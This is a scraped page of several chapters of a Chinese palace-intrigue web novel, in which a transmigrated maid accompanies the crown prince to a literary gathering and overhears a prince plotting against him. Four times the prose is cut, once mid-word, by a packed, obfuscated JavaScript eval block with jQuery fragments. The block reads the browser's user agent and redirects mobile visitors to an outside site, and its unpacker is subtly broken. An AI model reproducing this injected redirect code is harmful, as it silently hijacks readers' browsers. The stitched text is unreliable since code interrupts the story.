;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358260|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
景王抬眼,目光不禁停在刘之衍身后的宫女身上。
他第一次见到这样的少女。
她气质十分特殊,明明一身宫女打扮,但丝毫没有宫伶常见的怯懦讨好之色。她的底子生得极好,只是人还没长开,但那玉骨冰肌,一笑倾城的光彩,已隐隐透了出来。
刘之衍本来脸色不大好,注意到安景王看应子清的眼神,他眉头皱得深了些,移了移姿势,将应子清挡在身后:“七皇叔,你找我,有事?”
安景王被刘之衍的动作提醒,回过神来。
盯着贤侄的宫女看,他也不觉得尴尬,反而大大方方冲应子清一笑。
随后,安景王把茶盏放在一旁:“外面闹得沸沸扬扬,传得很不好听,我来看看你。”
刘之衍默然不语。
“东宫巫蛊一案,是你受委屈了。”安景王叹道。
“查清楚,即可。”刘之衍不咸不淡回答。
“我听说你在东宫闭门不出,可是心情烦闷?”安景王关心道。
“没有。”刘之衍立刻否定。
“而且三天没出门,宫里可都传遍了。”安景王笑起来,“是太后叫我顺路看看你。”
搬出傅太后的名头,说明安景王门清儿,刘之衍无从抵赖,只得又一次沉默。
安景王到底是长辈,看刘之衍如此,眼中多了几分慈爱:“我近期预备在近郊的院子,办一场松云雅集,许多文人都会来。此事,我已经回禀皇上和太后,但他们都不打算去。”
“依我看,你跟着我一起去,就当散散心,与那些文人雅客多接触接触,对你也有好处。”安景王说着话,即刻站了起来,“这话,我也跟太后说过,太后说主意不错,到时候我派人叫你。”
不等刘之衍答应,安景王动作爽快,大步走了出去。
刘之衍仍坐在原地,神情平静。
等旁人都出去了,应子清低声问:“你不想去?”
刘之衍反问:“你想去?”
“想。”应子清理所当然道,她还想多观察观察安景王。
刘之衍很淡地笑了笑:“好吧……那就去。”
应子清不由觉得奇怪,因为他的神色,似乎有些凝重。
9. 第 9 章
为了带应子清参加松云雅集,刘之衍选出数十套衣服。
刘之衍挑出来的,皆是华服,应子清穿着不适应,觉得行动不方便。
将迤逦垂地的月白纱裙拽了拽,正了正胳膊上的浅桃披帛,应子清从隔间走出。
没来得及梳髻,少女如瀑般乌黑的直发,披在肩头。
也没穿鞋,裙底露出一点白罗袜袜尖。
应子清站在黄铜镜前,左右看了看:“我知道参加雅集,必须穿得很正式。可我是你的宫女,难道我不穿成这样,还不能去了?”
安景王办的雅集,有时会邀请京中贵族少女参加。
为了出席这种场合,那些少女们会弄粉调脂,打扮得如花似玉。
刘之衍觉得,应子清不比她们差,他甚至还觉得,应子清若是稍作装扮,必能惊艳绝绝,一枝独秀。
不过,待应子清打扮好了,从容亮相,刘之衍将应子清从头看一遍,便移开视线。
走两步,披帛又滑下来,应子清扶住薄软的丝:“说真的,我穿着,感觉……碍手碍脚的,好麻烦的衣服。”
“那就不穿。”刘之衍突然改了主意,眉头微微皱起,“你还是穿以前的宫装吧。”
应子清顿了片刻,郁闷道:“知道这衣服有多难穿吗?费了这么长时间终于穿上,你又觉得不妥了?”
你是不是折腾我玩?
找骂啊?
这句话,得亏脾气好,她才没顺嘴说出来。
“嗯,不妥。”刘之衍肯定道。
“好吧,本来你也不该让我穿这个,我去换了。”应子清提起裙裾,走向换衣服的小隔间,轻如蝉翼的轻纱裙,在地板上靡靡而行。
“子清。”刘之衍抬起眼,叫住她。
“干什么?”应子清回头,顺手将肩上的黑长发,挽在耳后。
刘之衍十分认真:“你以后别在外面露出这副模样。”
“我哪样了?”应子清不理解,直直回视他。
一接触少女清亮的眼睛,刘之衍目光闪了闪,他垂下眼,语气有些烦躁:“反正你以后别这么穿。”
“你多少有点莫名其名。”应子清拐进去换衣服去了。
-
深秋,清晨,薄薄的雾气,在池塘上缭绕飘散。
梧桐稀疏了。
碧梧宫里有一方池塘,水位低下去,巨石上露出一截深绿色的水藻。
吴内祥前来禀报,马车收拾好了。
应子清听了,连忙拿起羊脂玉发冠,戴在刘之衍的发髻上。
两人收拾好,走了出来。
宫殿门口,只有一辆马车停在路边。
今天参加雅集的,多是文人雅士,文人墨客,这些人会在现场吟诗作对,饮酒和歌,是风雅之极的大事。
应子清原以为刘之衍会讲一讲排面,彰显身份,结果是这么一辆不起眼的马车。
刘之衍伸长腿,轻轻巧巧一跃,上了马车。
应子清没有他长得高,腿也没那么长,下面也没有马凳给她借力,正在想怎么上去。
刘之衍朝她伸出手:“来。”
“好人一生平安!”应子清没客气,握了上去,借他的力一跳,也蹦上去了。
听着她古里古怪的话,刘之衍没压住嘴角的笑意。
马夫拽起缰绳,驶出一段路,吴内祥才拿着马凳,急步过来。
“吴公公,不用麻烦,我们先走了。”应子清冲吴内祥挥手。
吴内祥“哎”了声,又隔着老远,追着马车,不住地嘱咐:“应女史,请细心伺候太子!”
好一个忠心耿耿奴仆。
为了让他放心,应子清只能答应:“知道了!”
撂下车帘,车内宽敞,舒适安静。
刘之衍端坐在侧,手里摩挲着“青锁香风”。
应子清看那粗棉布做的香包,和刘之衍身上寸尺寸金的绸缎,对比起来太辣眼睛。
“那个香包,改天重新做一个吧。”应子清建议。
“还是这样的清香吗?”刘之衍问。
“我给你用的,都是些不起眼的野草野花,借借里面的药性而已。闻久了,那个气味其实有些清苦。”应子清说,“我把主要的药单开给你,你让太医院的人换成名贵的花草,香味会香甜一些,效果说不定也会好得多。”
听她的意思,她不打算亲自做,刘之衍摇头:“算了,这个就很好。”
应子清忍不住问:“你……其实早好了,为什么到了外面,故意装出以前的样子?”
“不必急着让大家都知道。”刘之衍说,“等有了恰当的时机再说吧。”
可能像他们这种皇子,考虑的比较复杂,刘之衍看起来很有主意,应子清不再劝了。
应子清摸一摸腰包:“哎呀!”
“怎么?”刘之衍问。
“我的玉佩找不到了!”应子清着急道。
“什么玉佩?”刘之衍不以为意,“丢了就丢了吧,我送你块上好的。”
“不行!”应子清真急了,“那是……那是我双亲留给我的!”
那块绿玉佩,是应子清穿来时,突然多出来的。
在满月夜的子时,绿玉佩会闪过一道华光,跟电子光十分相像。
正是这种与古代格格不入的电子感光亮,给了应子清信心,让她可以积极面对现实,努力完成任务。
应子清曾经想过,如果她阻止大晋朝覆灭的结局,是不是可以借助这块绿玉佩,重新回到小蓝星。
现在,这块绿玉佩不见了!
“肯定是换衣服的时候不小心放哪了。”应子清急得想跳车。
刘之衍不慌不忙:“等我们回去,叫吴公公好好给你找找。”
对应子清而言,就算是皇位,也比不得绿玉佩重要。
一刻找不见,也叫应子清心急如焚,她哪能等那么久。
应子清心一横:“不行,我先回去,等我找到了,再来和你汇合。”
长乐宫宫门由重重侍卫把守,门禁森严,她一个宫女,哪能如太子殿下这般,来去自如。
刘之衍问:“这么急?一刻也等不得?”
“一刻也等不了!”应子清立刻回答。
刘之衍打量她片刻,旋即朝一个方向,慢声道:“影枭,派一个暗卫去找她的玉佩。”
应子清愣住,跟着那个方向看过去。
什么也看不见。
只听空中传来低低的男声:“回殿下,请问是什么颜色的玉佩?形状大小如何?雕刻成何种模样?”
刘之衍看着应子清。
应子清赶紧回答:“绿的,和指头差不多大,没有任何花纹,长得和印章差不多。”
刘之衍问:“这下清楚了吗?”
男声恭敬回答:“收到,应女史切莫着急,属下必定速速送来。”
似有一股微风吹过,暗卫不再出声,大约已经走了。
“放心。”刘之衍笃定道,“找东西而已,花不了多长时间。”
应子清的脸色,有些变
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358261|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
幻莫测。
这块绿玉佩,她觉得重要,别人却不会这么认为。
这里是皇宫,刘之衍又是堂堂太子,什么金的玉的没见过。
但,刘之衍并未不屑一顾,还愿意出动自己的暗卫,帮她找一个不起眼也不值钱的东西。
刘之衍这个人……
真的很好。
他似乎,一直对她挺不错。
马车摇晃着,车轮骨碌碌地响,清浅的阳光从车帘溜进来。
过会,应子清说:“那什么,你的香包,我重新帮你做一个吧。”
这一回,刘之衍没有推辞:“好。”
应子清盘算一下她那点存货:“可是我也没什么好东西,到时候香包做好了,你别嫌弃。”
刘之衍淡淡道:“我嫌弃过吗?”
……那倒没有。
应子清眨了眨眼,忽然觉得心口发暖。
马车到地方了。
枫叶红透了,在萧瑟的寒风里,轻轻摇摆。
竹麻做的屏障,沿着漫长的道路搭建起来,无声地将今日的场地包了起来。
影枭早早在树影下等着。
应子清接过绿玉佩,是她要找的那枚。
从果然是皇家暗卫,不论是效率还是妥帖程度,可以称之为使命必达!
“感谢感谢,有空一定请你吃饭!”应子清感激涕零,双手合十,冲影枭道谢,“哎,可你覆着面,我怎么认识你?你叫什么?”
影枭戴着半张银质面具,刚好遮住重要的眼鼻,面容难辩。
他们这种暗卫,常年走在黑夜与幽影里,做见不得人的勾当,是不能见阳光的。
他们不希望别人对他们有印象,也不需要别人记得他们。
影枭微怔,也没搭理她,转而向太子单膝跪下。
告辞后,对方嗖一下不见了。
怕下次再次遗落,应子清找了条红绳,当成项链戴在脖子上。
大晋朝的襦裙半敞着心口,这枚绿玉佩让应子清戴着,委实显眼。
道路上马车滚滚而行。
安景王名声好,捧场的人多,兼之那些没有参加资格的百姓,便在旁边看热闹。
观者如云,路上十分拥挤。
其中有王公贵族大约不耐烦,命侍卫舞着鞭,在前方开道。
鞭子扬起的灰尘,顿时弥漫开来。
刘之衍似是不受影响,大步向前。
那侍卫见一个贵公子模样的少年,负手而行,根本不把他们的威势放在眼里,火冒三丈。
天子脚下,再牛气的贵族,难道大得过皇族?
侍卫这么想着,胆气上来了,喝令道:“你是哪家的公子,我家主公经此而过,你不说避让,怎么这等没眼色,越走越近,要挡我家主公的路?快快避开,否则我不客气了!”
刘之衍并未理会。
侍卫当即扬起手中的鞭子,朝刘之衍打去。
替刘之衍驾车的马夫,脸色徒然一变,他腾空而起,徒手将侍卫扬至半空的鞭子,牢牢攥在手中。
一招一式,身手之利落,叫人难以看清。
原以为是普通的马夫,看来是贴身侍卫所扮。
“放肆!”马夫怒而喝道,“这是太子殿下!凶顽之辈,竟敢冒犯太子殿下,该死!”
话音刚落,马夫脚一踢,顿时把无名侍卫,踹出三里地。
耀红华盖之下,马车的主人本来在车内等着侍卫驱散宵小,听得此语,也不敢怠慢,急忙掀开帘子,走下车来。
10. 第 10 章
马车的主人,正是赵王世子刘驰骞。
刘驰骞的个头比刘之衍稍矮些,他长得剑眉星目,一双眼睛大而圆,因着年岁不大,满脸的稚气,颇讨人喜欢。
他快步来到刘之衍面前。
无名侍卫见自家主人出面,急忙呼道:“世子,我有眼无珠……”
刘驰骞扫他一眼,哼了声:“太子殿下你也敢触怒,这么大的罪,我也无法替你承担,自己去领罚吧!
“无妨,”刘之衍出声阻止,“是误会,不必苛责。”
无名侍卫听了,马上跳起来,伏在地上,磕头称谢不止。
刘驰骞堆笑道:“太子哥哥,怎么这么好兴致,有空出宫玩了。”
“嗯。”刘之衍淡淡应道。
刘驰骞知道这个哥哥,素日少言寡语,他不劳烦哥哥开尊口,自顾自抱怨道:“哎,要不是七皇叔说,让我跟着才子们多多学习,像这种什么诗会……无聊至极的地方,我才不来!”
“我最怕这帮老学究,整天之乎者也,吟诗作对,听得我不知所谓!到时候,我肯定困得打瞌睡,要是被七皇叔抓住了,又要骂我一顿!昨天我还犯愁,不知道有没有认识的人在。”刘驰骞眉开眼笑,“谁知道今天刚出门,碰见几个熟人,接着又遇到你。这下可好,和你们说说话,我也不至于听他们装腔作势的酸腐话了!”
刘之衍并未同他聊这个,他的视线,扫过刘驰骞身后富丽堂皇的马车华盖,摇头道:“招摇过市,御下不严。”
直接点出刘驰骞的两条罪名。
“那有什么关系!”刘驰骞不以为然,不过既然太子殿下发话,他耐心解释道,“还不是我娘安排的,要是我自己出来,我就骑我那刚得的赤兔马,不比坐马车爽快!”
两人边说边走,刘驰骞忽地一拍脑袋:“我给忘了,你猜我出来的时候,遇到的是谁?”
刘之衍不语。
刘驰骞自己回答道:“是谢家大小姐!她的马车堵在长安城的街道上,不好走。要不然,我也不会叫人开道。她在后面!”
刘之衍回头一看,应子清注意到,他那双没什么温度的黑瞳,在听到“谢家大小姐”几个字后,淡了几分。
“这里人多,她堂堂大小姐,不方便出来,我去跟她说一声。”刘驰骞说着,又转过来对刘之衍笑,“不对啊,还是太子哥哥你去吧,你们两个鸳鸯好不容易碰见,哪轮得着我传话!”
“……又怎么了,太子哥哥,你别走啊!”刘驰骞追着刘之衍,“你未婚妻不要啦?我可是宝贝着,替你呵护过来的。”
眼看刘驰骞跟着刘之衍跑了,谢家人急了,远远叫住他:“世子爷,您要去哪?”
话里话外,还指望他帮忙带路。
刘驰骞站住,路上说好了他们一起过来,想到谢家大小姐还在马车里,他只得回去。
一会儿的功夫,刘之衍带着人越走越远,顷刻间消失在转角。
-
应子清进去前,抬头看眼牌匾。
修竹编结而成的大门,苍劲大字,题着“松云”二字,古朴雅致。
据说,这是安景王的一处近郊宅院。
因着环境优美,有山有水,安景王因地制宜精心修缮,时不时拿出来办些聚会。
刚一进门,便碰见一座高耸的假山,遍体浓黑,据说是从极寒之地运来的,土质极为肥沃,难养灵芝种在上面也能活。
小道附近栽种着矮松,白鹭领着几只小白鹭,漫步其中,自有一番深山老林僻静的感觉。
深潭里的荷叶枯了一半,无人收拾,像是刻意留着。
此情此景,颇有“碧云天,黄叶地,秋色连波,波上寒烟翠”的意境。①
应子清边走边欣赏,没曾想,额头撞上一个人的肩膀。
“?”应子清捂着脑袋问,“你干嘛,怎么不走了。”
刘之衍看着她。
应子清觉得他眼神太奇怪,回头往后看,什么也没有。
“怎么?”应子清反应过来,“哦,你是不是想等你的未婚妻?”
“……”刘之衍顿了下,“没有,不是,我没想等她,我与谢氏没有婚约。”
这位谢家大小姐,应子清听说过。
赫赫有名的四大家族之一,就有谢氏。
谢氏不论声望,还是实力,与窦皇后家的窦氏不相上下。
其余两家,家中无年纪合适的闺秀,而窦家已经出了位皇后。人们于是猜测,太子妃的人选,必定出自谢家。
皇家与谢氏,都没有否认这一说法,但也没有进一步的表示。
不过,旁人也清楚,谢氏有意促成这门婚事。
两个孩子还小的时候,谢家大小姐谢凝荷多次由家人带着,以陪伴太后皇后之名进宫侍奉。
刘之衍肯定与谢凝荷见过面,说过话。
至于关系好不好,那就不知道了。
不过看这样子,应子清估摸着是不好的:“哦……是你没看上她,还是她没看上你?”
刘之衍脸色一黑,掉头就走。
-
宴会布置在竹林之间。
飞鸟鸣啭,落叶萧萧,簌簌抖落的竹叶,积了一层。
流水潺潺,席间人来人往的热闹。
远离人群的角落,檐下,一袭白衣的男子,跪坐蒲团,焚香抚琴。
那人摘了一截枯枝,簪在发髻上,长长的白色发带垂地,微风徐徐,衣袂轻舞。
他微垂着双眼,信手弹琴,似是沉浸在音乐之中。
弦声低,悠远绵长。
四周围了不少人,静静聆听。
他们眼露赞叹,轻抚手掌,似是对白衣男子的琴技,极为推崇。
刘之衍朝那个地方看过去,只听了几个音节,他便移开视线,不再关注。
“怎么?弹的不好?”应子清可没忘记,这一位对音乐的喜爱和关注,堪比顶级的鉴赏大师。
“哗众取宠。”刘之衍蹙眉,冷冷点评,“炫耀技巧,心思不纯,靡靡之音。”
“……”应子清无语。
她听了几耳朵,明明还好嘛,跟广播里播的音乐也差不多,音律规整,没出大错。
幸好没让那人听到太子的点评,否则那人必定大受打击。
要知道,这番言论可是出自当朝太子!
刘之衍耳朵挑剔,附近又闹哄哄的,一路走来,他皱紧的眉头没舒展过。
一行人往庭院的深处,想寻个僻静之地。
绕过弯弯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358262|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曲曲的小溪流,有一道少女的声音,从墙的另一面传出。
“你站住。”少女问,“那天我托人给你送的兔子灯笼,你喜欢吗?”
无人回答。
“你怎么不说话?”尽管没看到少女,应子清可以从那娇俏的声音,想象出对方的不甘心,“难道你不喜欢?你的生肖属兔,所以我特意挑的兔子灯笼,那可是我费尽心思找到的。”
“你费尽心思?”少年终于出声,嗤了声,“不过是叫下人去买罢了。”
“我又有什么办法?难道我能随便出门吗?”少女生气道,“可就算让下人去买,也是我从一堆花灯笼里挑出来的,你就不能谢谢我?”
“知道了。”少年语气满是不耐烦,掷下话头,便想离开。
“什么知道了,你太敷衍人了!你等等!你还没说喜不喜欢呢?”
“别拉拉扯扯,”少年声音冷了几度,“谢娘,你这样叫人看见了,我堂兄又该如何自处?”
“太子哥哥?我跟他又没什么。”谢凝荷再度生气,“你又不是不知道,你凭什么这么说,你到底什么意思?”
冷不防听到这样的壁角,刘之衍掉头想走。
恰逢里面的少年,也往外跑。
两人刚刚好打了照面。
少年吓了一跳,回过神来,彬彬有礼道:“臣弟拜见太子殿下。”
不等太子反应,那少年忽而慌手慌脚地告退,似是想转回去,阻止谢凝荷出来,“太子哥哥,我还有事,先退下了。”
要是让太子看到,他和谢凝荷两个人躲在角落窃窃私语,让人误会就不好了!
“嗯。”刘之衍淡淡点头,放他离开。
谢凝荷提着裙裾,说着话从转角出来了:“你跑什么?你以为你躲得过今天,还躲得过明天吗?”
“你!”少年脸色忽地一白,“你怎么出来了!”
见到刘之衍,谢凝荷愣了下,不过她很快镇定:“我为什么不能出来。”
谢凝荷不慌不忙,微微屈膝,对着刘之衍,礼仪周到地行礼:“见过太子殿下。”
“哦。”刘之衍微微颔首。
少年左右看看,眉头一凝,沉声解释:“我与谢凝荷,碰巧在这里遇见,只说了几句话,没有别的事。”
谢凝荷却不依:“刘弘煦,你什么意思!”
“你别闹。”刘弘煦冷声。
谢凝荷将裙裾一丢,她戴的环佩多且繁复,走路叮叮当当:“你不想让之衍哥知道,我偏要说。前段时间,我给弘煦,送了只花灯。”
刘弘煦忙着解释:“不单我有,想必人人都有的。”
“谁说的,”谢凝荷理直气壮,“我只给你送了,之衍哥就没有。”
刘之衍:“……”
三两句话的功夫,在场的人都她弄得下不来台。
到底是少年,刘弘煦玉面微微发红:“回去我就扔了!”
“你敢!”谢凝荷指着他,“你敢丢一个,我就给你送一车!”
应子清在一旁看戏,看得十分欢喜。
先是盛元公主看上状元,当朝求婚,强嫁给他;后有陈郡谢家大小姐看上安景王的世子刘弘煦,强送小兔子花灯。
这个大晋朝,有意思极了。
11. 第 11 章
安景王领着一群人四处走走,参观他的松云郊院,却见不起眼的角落,聚着刘之衍一行人。
跟在后面的刘驰骞看见刘之衍,像遇见救星,三两步跑过去抱住他的手臂:“太子哥哥,我到处找你!谁曾想你躲在这!”
刘驰骞被安景王拘着,陪一群腐儒逛了好一会,早憋闷得受不了了。
刘弘煦站得笔直,给安景王请安:“见过父亲。”
安景王微微颔首,扫视一圈后,意味不明地笑起来:“果然是年轻人,趣味相投。用不着别人邀请,自己倒凑在一起了。”
“那可不是!”刘驰骞得意道,“我跟我太子哥哥关系多好,隔八万里,我也能闻着他的味儿,跟着味儿赶过来找他。”
谢凝荷被他逗笑了:“王爷说的是趣味相投,可不是臭味相投。”
刘驰骞被笑话,也不着恼:“我哥香着呢。”
“哎?怎么还真有一股香气。太子哥哥,你这是什么?”刘驰骞扒拉刘之衍腰间缀的香囊,“哇,好丑的香包!”
应子清:“……”
有那么丑吗?
刘之衍伸手挡住,护住他的“青锁香风”:“别闹。”
安景王身后的一位儒生,上前两步,微微躬身道:“宴席快开始了,王爷,太子殿下,我们先入座吧?”
路上走着,不知不觉,谢凝荷和应子清并肩,她看了看这个宫女:“哎呀,你戴的这个,好寒酸,太子哥哥都不给你好东西的吗?”
应子清捂住她的绿玉佩:“啊,不是,这是我家传之物。”
“你戴这个,别人会觉得太子哥哥在薄待你。”谢凝荷从腰间,随手解下一枚硕大的东海珍珠,“我不太喜欢这个珠子,颜色有点暗,送你吧。”
“等等,”应子清诧异,自觉跟不上她的节奏,“我不是,我这是家传之物,需要天天佩戴……”
“哎,给你了吧。”谢凝荷挥挥手,不耐烦道,“一会我找刘弘煦要更好的,兔子灯他还没给我回礼。”
“……”
不知道该说谢家大小姐会做生意,还是慷慨大方。
莫名其妙赚了颗东海的珠子,少说能卖五百两?
不过,谢凝荷的话提醒应子清,作为太子的女官,是不能太寒酸。
应子清小声跟太子告了急,转身去找净室。
在一面铜镜前,应子清把大东珠戴上,把绿玉佩藏在襦裙的夹衣中。
还是这样更安全。
收拾规矩,应子清从净室出来,她左右找找,忽然忘了从哪过来的了。
虽然是秋天,地上落了不少枯叶,竹林密密丛丛,依旧遮天蔽日,难辨方位。
应子清随意挑了条小道,走一刻钟,前方连行人踏出来的小路也没了。
知道自己是迷路了,应子清只能掉转回头。
“嘘,小声点,别看附近无人,但我们该谨慎些。”
“遵命,王爷。”
两道浑厚的男声正在交谈。
……
今天什么日子,怎么走到哪,都能听到壁角!
应子清三两步藏进假山,硬生生不敢动。
“我实在不愿意与你们接触。”安景王那片衣角在晃动,“下次别来找我了。”
“王爷,街外头的风言风语,您难道没听见?”另一个神秘人,捏着嗓子谄媚道,“太子殿下德不配位,已有些日头……”
“放肆,国本岂是你随意议论的?”安景王作声道,只是听不出怒气。
神秘人丝毫不惧,倒显得大义凛然:“小人微贱,但小人宁愿死,也要谏言!王爷,此人好俗乐,耽于享乐,又有暴戾之行,喜欢施虐惩戒下人,以显示自己的威风。若是由这样的人君临天下,岂不是朝纲紊乱,忠奸倒置!”
将对方的话细细听了,安景王凝神半晌,笑了声:“你这是危言耸听,太过忧虑了!我贤侄年纪小,还有纠正过来的时候。这正是我们挺身而出,辅佐君王的时机。有本王在,务必使圣朝隆盛,海晏河清。”
“倘若是……”那神秘人痛心疾首,“倘若纠正不过来呢?王爷,您岂不是袖手旁观,任由乳臭未干的小子,作践这大好江山!”
安景王不言不语。
神秘人见状,进而又道:“王爷,自古以来王朝兴衰,如四季更替,有盛必有衰。如今是刘姓之天下,然而世事无常,庆帝久病,太子无德,眼看朝纲步入倾颓之日……王爷素日看重品德,珍惜自己名声,却隔岸观火,对更大的祸患漠然置之。”
神秘人激动陈词:“待国号更迭,姓氏易换……王爷,那时候可就晚了呀!”
这一次,安景王沉默的时间变长了。
神秘人沉了沉气,再接再厉:“王爷年富力强,有高世之德,为何不早早未雨绸缪,早做打算,使刘氏之天下,再现荣光!”
“莫急,容我想想。”安景王沉声道,“你说的这些,可是你主人的意思?”
“小的哪有这样的聪明才智,自是主人的意思。”
许久,安景王叹息道:“你家主人如此鞠躬尽瘁,以报君国……是不忘本的人啊!”
“是,可惜王爷无动于衷,纵使我家主人心急如焚,也是枉然啊……”神秘人有哭啼之声。
“我原先不愿意惹麻烦事,毕竟,太子终是国本……”安景王慨然道,“既然如此……作为长辈岂有不关怀小辈,任其误入歧途的道理?太子殿下,近期有何进益?又闯了什么祸?把你知道的消息,统统告诉我。”
待两个人聊完天,应子清腿脚都酸了。
因为不敢动,她像木头人一样僵了好久。
捶着腰腿,活动筋骨,应子清重新找到路,往刘之衍那边走。
看来,安景王是有问鼎之心。
这一点,应子清其实没怀疑过,自古以来,权力永远是最吸引人的,何况安景王有争位的资格。
但她没想到,那日看起来爽朗大方的安景王,不过是佯装豁达。私底下,却是这般面目,为了一己之利,不惜监视他的贤侄。
应子清忽然对加入安景王的阵营,有些犹豫。
不过,摸到襦裙里的绿玉佩,应子清仍是咬咬牙。
她要自救,拯救黎民百姓,最后回小蓝星。
这才是最重要的事!
当务之急,是找个机会,接触安景王。
-
竹林之间,设了席位,每张席位摆了桌案,铺了蒲团。
一口大铜炉袅袅生烟,地上撒了不少金粉彩纸。
仪式已毕,宴席开始了。
诸位
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358263|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
文人雅客或是月白长袍,或是淡青儒衫,列坐其间。
相近的人交头接耳,小声论道谈玄。
可谓风雅之极。
别的还尚可,唯独刘之衍面前,马夫脱去上衣衫,露出垒块分明紧致饱满的肌肉,跪坐在一侧。
……这是什么怪癖好,应子清没看懂。
她走到自己的蒲团,跟着跪坐。
谢凝荷见她来了,热情招呼:“呀,这么快戴上了?你戴珍珠很好看,下回送你个更大的。”
不愧是大小姐,出手真豪爽。
应子清咳了声,礼貌道:“谢谢谢家大小姐送的礼物。”
谢凝荷噗嗤一声,低头一笑:“我最不喜欢别人谢我,不然就像你这样,连说三个谢字。”
谢家娘子不过十五六岁,面容秀气,头发细软,长着一双圆润的杏眼,非常可爱。
应子清也笑了。
大概应子清的眼角,不时飘向坦胸露背的马夫,谢凝荷给她解释:“是太子哥哥老规矩来着。”
“什么规矩?”应子清好奇。
谢凝荷嗨了声:“太子哥哥不是口讷……寡言少语吗?小时候的太子哥哥,更犟,打都打不出声。可是你想,谁又敢打他?”
谢凝荷看了眼前方端坐的刘之衍,压低声音道:“所以,庆帝为了逼他说话,特意在聚谈之所,命太子哥哥的心腹,脱去上衣。轮到太子哥哥发言的时候,如果说的不好,或是不愿意说,就命人鞭打他的心腹,代太子哥哥受过。”
……
好奇葩的做法!
应子清不能理解。
怪不得刘之衍听说要到这种需要发言的地方,脸色看起来不太好。
即使来了,他也轻装上阵,只带一个贴身侍卫……是不想让更多的奴仆因为他,而受到惩戒处罚吧。
刘之衍金尊玉贵地长大,按理说,成年后症状多少会缓解才是。
原来源头在这里。
庆帝强迫他说话的这种狠办法,根本适得其反,只会让刘之衍更抗拒。
应子清不禁想到,安景王与那神秘人的谈话。
刘之衍……为什么会成为灭国的暴君,似乎有了原因。
他不被理解,受到的诽谤,实在太多太多。
多到他早早学会闭口不谈,唯以沉默应对。
众口铄金,积毁销骨。
也许某一天,某句话成了最后一根稻草,终于把疲倦的骆驼压垮了。
那一天,就是刘之衍成为暴君之时……
刘之衍可不是普普通通的口讷,他患有学者综合症,那是能改变历史的天才……
翻手为云,覆手为雨,对他而言易如反掌。
一个聪明至极,又黑化的君王,谁能成为他的对手?
只会被他的无情碾得粉碎。
应子清不禁望向刘之衍孑然缄默的侧影。
竹叶簌簌飘落,打着旋儿,坠在刘之衍桌案与蒲团上。
刘之衍面色冷淡,神色平静,浓黑眼眸流露出极深的冷意。
他端着酒杯,不疾不徐抿上几口,对宴席上发生的一切,不感兴趣。
因着刘之衍太子身份,也因着他隐隐的君王气势,旁人感到威压般,不禁向外挪了挪,连声音也不自觉压了下去。
12. 第 12 章
侍从捧着漫长的一卷书画,徐徐展开。
中年男子不慌不忙,走至画前,捻着长须,面朝众人,谈论他的字画。
此人叫胡云,极有名的书法家,平时轻易不肯动笔,可谓一画难求。
此次,胡云好容易带着作品出现,给这场松云雅集挣足了颜面。
众人伸长脖子,都想看个清楚,赞叹之声不绝于耳。
安景王看得心情愉悦,视线慢慢扫过另一边。
刘驰骞撑在案上,脑袋摇摇欲坠,已是昏昏欲睡的模样。
谢凝荷也是兴趣缺缺,拉着东宫那个漂亮的小女官讲话。
宴会行至过半,年轻点的少年少女们,差不多坐得东倒西歪,平日耳提面命的礼仪,消失得一干二净,没个样子。
唯独刘之衍背脊挺得笔直,仍是正襟危坐,仪态雅正。他也在看画,但他脸上没什么表情,看不出情绪。
人们想到刘之衍,总是想起他的坏名声,却忘了,其实这个少年长得俊美极了。
一行侍女捧着小桌路过,队伍里好几个少女偷偷打量太子,看得太入迷,不小心踩到别人的鞋。
“你小心点呀!”
“不好意思……”
“哎,你怎么也踩我!”
“对不起……”
队伍着实乱了会,才稍稍恢复正常。
安景王眼底闪过一丝晦暗,他眨了眨眼,从容朗声道:“衍儿!你看画看得如此认真,是不是喜欢?趁大家伙都在这,点评点评这幅画吧,也让我们听听太子的学识与文采。”
场上的胡云一听,脸色顿时挂不住。
他们这等儒雅风流之士,向来清高自傲,想点评他们的著作,要看那个人有没有才华与能力。
